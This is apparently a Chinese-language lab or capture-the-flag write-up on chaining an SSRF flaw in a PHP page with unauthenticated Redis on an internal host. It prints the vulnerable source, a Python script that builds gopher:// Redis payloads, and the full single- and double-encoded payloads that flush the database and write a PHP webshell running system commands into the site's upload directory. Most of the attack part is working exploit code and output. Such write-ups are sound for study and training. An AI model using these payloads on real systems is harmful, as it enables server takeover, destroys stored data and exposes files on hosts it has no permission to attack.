環境部署
拉取環境報錯:
可以嘗試拉取一下ubuntu:16.04,看是否能拉取成功
將wersion:"3"刪掉
我拉去成功之后,再去拉取環境,成功!
訪問環境
測試ssrf
源碼
<?php
highlight_file(__file__);
function curl($url){ ?$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
?
if(isset($_GET['url'])){$url = $_GET['url'];
?if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){
?die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>
雖然這里存在ssrf,但是我們可以看見源碼將file、dict、127.0.0.1、localhost都給過濾了,所以我們只能嘗試使用http協議進行內網主機存活探測,這里可以從phpinfo里面看到當前內網主機IP地址。
探測主機
然后我們就可測試一下,當前網段下有哪些IP地址的主機是存活狀態,可以使用bp,也可以手動測試
這里看到當檢測到172.19.0.2時,網頁返回了一個go away1,這臺主機是這個網段正在運行的一臺主機,并且也在運行http協議
掃描端口
接下來用bp掃描一下這臺主機的端口,但redis服務的端口是否打開
出現了這個報錯-ERR wrong number of arguments for 'get' command 1
這個是redis命令執行錯誤,表示在還用get命令時傳遞的參數數量不正確
那這就說明這臺主機的redis服務正在運行,那這里我們就有思路啦,既有ssrf,也有redis,emmmm
擴展知識-redis命令
redis未授權訪問攻擊
接著我們便可以嘗試 redis 未授權了,由于這臺內網主機上還存在一個http服務,所以我們可以將webshell寫入其web目錄,然后用ssrf進行訪問。
但是我們嘗試發現不能直接在/var/www/html目錄下寫文件,我們使用bp掃一下都有哪些目錄
????
在redis容器里面看到了upload文件
編寫腳本生成payload
python代碼編寫
from urllib.parse import quote
protocol="gopher://"
ip="172.19.0.2" ? ?# 運行著redis的內網主機ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"
?
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmd
?
if __name__=="__main__":payload = ""for x in cmd:payload += quote(redis_format(x))print(payload)
輸出
gopher://172.19.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%0D%0A%241%0D%0A1%0D%0A%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%243%0D%0Adir%0D%0A%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%2410%0D%0Adbfilename%0D%0A%0D%0A%247%0D%0Aweb.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
可以使用工具Gopherus
下載Gopherus:https://github.com/tarunkant/Gopherus
二次編碼
再將payload進行url編碼
這里我遇到一個問題,一直上傳不成功,去查看了一下資料,終于知道為什么,因為我上傳的前面這個url前面://
并沒有url編碼,因為我們在瀏覽器發送payload的時候瀏覽器會進行一次解碼,然后到了redis又會進行一次解碼,所以我才會進行一次二次編碼,終于懂了emmmmm
gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25241%250D%250A1%250D%250A%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25243%250D%250Adir%250D%250A%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%252410%250D%250Adbfilename%250D%250A%250D%250A%25247%250D%250Aweb.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
讀取flag
gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A